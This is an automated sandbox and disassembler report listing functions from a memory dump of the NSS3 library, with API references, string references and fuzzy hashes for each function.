Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+ll
API String ID: 2538134263-585971932
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 08c3ec7488ff4fcb7fbc5c9e0b2511f31f88e835bcccc32bdd6f841ed9e3f57d
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: 341191B7B001087BDB008E65AC01ADB7799AB85668F184134E91CD7781E772E915CBAA

Function 6C71CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C71CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C71CC7B), ref: 6C71CD7A
Part of subcall function 6C71CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C71CD8E
Part of subcall function 6C71CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C71CDA5
Part of subcall function 6C71CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C71CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C71CCB5
memcpy.VCRUNTIME140(6C7B14F4,6C7B02AC,00000090), ref: 6C71CCD3
memcpy.VCRUNTIME140(6C7B1588,6C7B02AC,00000090), ref: 6C71CD2B

Part of subcall function 6C639AC0: socket.WSOCK32(?,00000017,6C6399BE), ref: 6C639AE6
Part of subcall function 6C639AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C6399BE), ref: 6C639AFC

Part of subcall function 6C640590: closesocket.WSOCK32(6C639A8F,?,?,6C639A8F,00000000), ref: 6C640597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C71CCB0

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: a64268c6135f0c131e18d250f6f1086ecceb39cf6f76b21ed6f6a589318c86b1
Instruction ID: 419e6e5ce73e2ad56d374f49fec9405ca730182d024fe314feaa993c9f763504
Opcode Fuzzy Hash: a64268c6135f0c131e18d250f6f1086ecceb39cf6f76b21ed6f6a589318c86b1
Instruction Fuzzy Hash: D01181F2B042405FDB409F6A8F0BF827AA89B46358F145439E91ADBF41E771D4088BED

Function 6C5E7F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5E81DF
LeaveCriticalSection.KERNEL32(?), ref: 6C5E8239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5E8255
sqlite3_free.NSS3(00000000), ref: 6C5E8260

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 0ad41ba2e9f646be88ca0021ec56144785fe2b08733e8b3a33787485abacdc33
Instruction ID: 991f117061fa5bcddf6c766490e48e03eb6067624f3d085b5179728fab7c4b82
Opcode Fuzzy Hash: 0ad41ba2e9f646be88ca0021ec56144785fe2b08733e8b3a33787485abacdc33
Instruction Fuzzy Hash: E0916E71A01608DFEB08DFE9EC58BADB7B1BF0A304F24013AD4169BA50DB356955CB82

Function 6C6C1D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6C1D8F

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C6C1DA6

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C6C1E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6C1ED0

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 22f767f7323e94c9d56a2fe2b543216d11e3b605790b66514346c7d153ccce7b
Instruction ID: 2bd60b362b9b0f4d06faab32dec7c60749b0ebac31cb7bd5d2459586a6fbcc65
Opcode Fuzzy Hash: 22f767f7323e94c9d56a2fe2b543216d11e3b605790b66514346c7d153ccce7b
Instruction Fuzzy Hash: D4516875A00309DFDB04CF98D884BAEBBB6FF49308F144129E819AB750D731E946CB96

Function 6C714FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C5F85D2,00000000,?,?), ref: 6C714FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C71500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7150C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7150D6

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 09ce54a638db0e38035536cdf5385927dfb65360eb984d7498b826129ac26af6
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: A5417FB2A402158FCB18CF68DCD179AB7E1BF4431871D466DD84ACBB02E375E891CB91

Function 6C63FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6C63FDFE), ref: 6C63FFAD

Part of subcall function 6C5DCA30: EnterCriticalSection.KERNEL32(?,?,?,6C63F9C9,?,6C63F4DA,6C63F9C9,?,?,6C60369A), ref: 6C5DCA7A
Part of subcall function 6C5DCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5DCB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6C63FDFE), ref: 6C63FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6C63FDFE), ref: 6C64001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6C63FDFE), ref: 6C64006F

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: e30cd32c35d927134a2311d8405fd7a62d77e7e43c37cc05b46cfea4ab08b755
Instruction ID: 79e68347ddbe3d2b80ff4901abe74d68af5ad0ac8a495f7d8bef17966de0e5f4
Opcode Fuzzy Hash: e30cd32c35d927134a2311d8405fd7a62d77e7e43c37cc05b46cfea4ab08b755
Instruction Fuzzy Hash: F341DE71B002299BDB08DFA5E899AAE7775FF4A705F14803DD80693B00DB35A911CBA9

Function 6C6C3D40 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,-0000002C,?,6C6C127F,?), ref: 6C6C3D89

Part of subcall function 6C6C06F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6C6C2E70,00000000), ref: 6C6C0701

SECOID_FindOID_Util.NSS3(FFFFFFFF,?), ref: 6C6C3DD3

Part of subcall function 6C6B07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C658298,?,?,?,6C64FCE5,?), ref: 6C6B07BF
Part of subcall function 6C6B07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6B07E6
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B081B
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B0825

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$HashLookupTableUtil$Alloc_ConstFind
String ID:
API String ID: 99596740-0
Opcode ID: 9c37fd1df5fa76ad3e9028550333caf832bc353a9e3674a27442d64bb8dc36bc
Instruction ID: ee94ca53370557226804ab87854e50582f44fe6818d494024b48c6ea6039a985
Opcode Fuzzy Hash: 9c37fd1df5fa76ad3e9028550333caf832bc353a9e3674a27442d64bb8dc36bc
Instruction Fuzzy Hash: 9B31FE75B0252496EB148619A840BEA73A4EB4632CF280237DB15C7FC1EB21F80187CF

Function 6C727DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C727E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C727EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C727EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C727ED8

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: 7f0eadcb3e7eaf2cd610507a4b3348d7d9b8bc550013edd262e1bd617d8e30dc
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: B831A6B1E001158FD704CF09CE9599AB7A6FF8831471A817ACC585BB12EB75EC45CBE1

Function 6C6DDF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6C663090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C67AE42), ref: 6C6630AA
Part of subcall function 6C663090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6630C7
Part of subcall function 6C663090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6630E5
Part of subcall function 6C663090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C663116
Part of subcall function 6C663090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C66312B
Part of subcall function 6C663090: PK11_DestroyObject.NSS3(?,?), ref: 6C663154
Part of subcall function 6C663090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C6DDBBD), ref: 6C6DDFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6DDFEE

Part of subcall function 6C6786D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C678716
Part of subcall function 6C6786D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C678727
Part of subcall function 6C6786D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C67873B
Part of subcall function 6C6786D0: PR_Unlock.NSS3(?), ref: 6C67876F
Part of subcall function 6C6786D0: PR_SetError.NSS3(00000000,00000000), ref: 6C678787

Part of subcall function 6C69F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C69F854
Part of subcall function 6C69F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C69F868
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C69F882
Part of subcall function 6C69F820: free.MOZGLUE(04C483FF,?,?), ref: 6C69F889
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C69F8A4
Part of subcall function 6C69F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C69F8AB
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C69F8C9
Part of subcall function 6C69F820: free.MOZGLUE(280F10EC,?,?), ref: 6C69F8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6C6DDBBD), ref: 6C6DDFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6C6DDBBD), ref: 6C6DE007

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: 1d9f44d4b86f31e50a1b7f372896d9cf4d7dfc734fe333e418ebb67bea406c72
Instruction ID: 08c4237310f54556adf5257dc1d35a89a4244c83728e9675d584c8418cce20b1
Opcode Fuzzy Hash: 1d9f44d4b86f31e50a1b7f372896d9cf4d7dfc734fe333e418ebb67bea406c72
Instruction Fuzzy Hash: 3831D7B1A0420157D711AA7ADD84A9B73B89F5530CF060135E909D7B52FB31E918C6FB

Function 6C6C2C80 Relevance: 6.1, APIs: 4, Instructions: 105COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,6C6C1289,?), ref: 6C6C2D72

Part of subcall function 6C6C3390: PORT_ZAlloc_Util.NSS3(00000000,-0000002C,?,6C6C2CA7,E80C76FF,?,6C6C1289,?), ref: 6C6C33E9
Part of subcall function 6C6C3390: PORT_ZAlloc_Util.NSS3(0000001C), ref: 6C6C342E

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6C1289,?), ref: 6C6C2D61

Part of subcall function 6C6C0B00: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6C0B21
Part of subcall function 6C6C0B00: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6C0B64

PR_SetError.NSS3(FFFFE02D,00000000,?,?,?,?,6C6C1289,?), ref: 6C6C2D88
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6C6C1289,?), ref: 6C6C2DAF

Part of subcall function 6C67B8F0: PR_CallOnceWithArg.NSS3(6C7B2178,6C67BCF0,?), ref: 6C67B915
Part of subcall function 6C67B8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000001,?), ref: 6C67B933
Part of subcall function 6C67B8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,?), ref: 6C67B9C8
Part of subcall function 6C67B8F0: SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6C67B9E1

Part of subcall function 6C6C0A50: SECOID_GetAlgorithmTag_Util.NSS3(6C6C2A90,E8571076,?,6C6C2A7C,6C6C21F1,?,?,?,00000000,00000000,?,?,6C6C21DD,00000000), ref: 6C6C0A66

Part of subcall function 6C6C3310: SECOID_GetAlgorithmTag_Util.NSS3(?,00000000,FFFFFFFF,?,6C6C2D1E,?,?,?,?,00000000,?,?,?,?,?,6C6C1289), ref: 6C6C3348

Part of subcall function 6C6C06F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6C6C2E70,00000000), ref: 6C6C0701

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$AlgorithmAlloc_ErrorK11_Tag_$Item_Tokens$AllocCallFreeOnceWithZfree
String ID:
API String ID: 2288138528-0
Opcode ID: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction ID: a194bdc2ad5bc530108f64ba09ab88197856ac448be755a6a2a0d8a7fc2316e1
Opcode Fuzzy Hash: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction Fuzzy Hash: B931CCB6B002016BDB009F64EC44B9A37A5EF5631DF140130ED159B791EB31F529C7AB

Function 6C656C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C656C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C656CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C656CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C778FE0), ref: 6C656CFE

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 35fcae7972542499eae4b1461d7506d87938f96bb9edc55976b18e2f36d01e78
Instruction ID: 5634ca65450e1953ecc60d883ca59a0d590e03f3b393b1a9f331f98c01907e5d
Opcode Fuzzy Hash: 35fcae7972542499eae4b1461d7506d87938f96bb9edc55976b18e2f36d01e78
Instruction Fuzzy Hash: 6C318CB1A002169FEB08CF65C891ABFBBF5EF89348B60452DD905E7710EB31D915CBA4

Function 6C764F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C764F5D
free.MOZGLUE(?), ref: 6C764F74
free.MOZGLUE(?), ref: 6C764F82
GetLastError.KERNEL32 ref: 6C764F90

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: b1d41f80c0e578ece9e30889c05752a404ecb7437a547c40666b4bcbffc8e393
Instruction ID: bd66aa84d210bcda55b9139395168e0b33b97f101d16059c4303d1dafbc349a2
Opcode Fuzzy Hash: b1d41f80c0e578ece9e30889c05752a404ecb7437a547c40666b4bcbffc8e393
Instruction Fuzzy Hash: C3312B75A002095FEB01DFAADD55BDFB3B8FF45358F080235EC15A7B81DB35A9048691

Function 6C6ADDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6C6ADDB1,?,00000000), ref: 6C6ADDF4

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6C6ADDB1,?,00000000), ref: 6C6ADE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6C6ADDB1,?,00000000), ref: 6C6ADE17

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C6ADE80

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

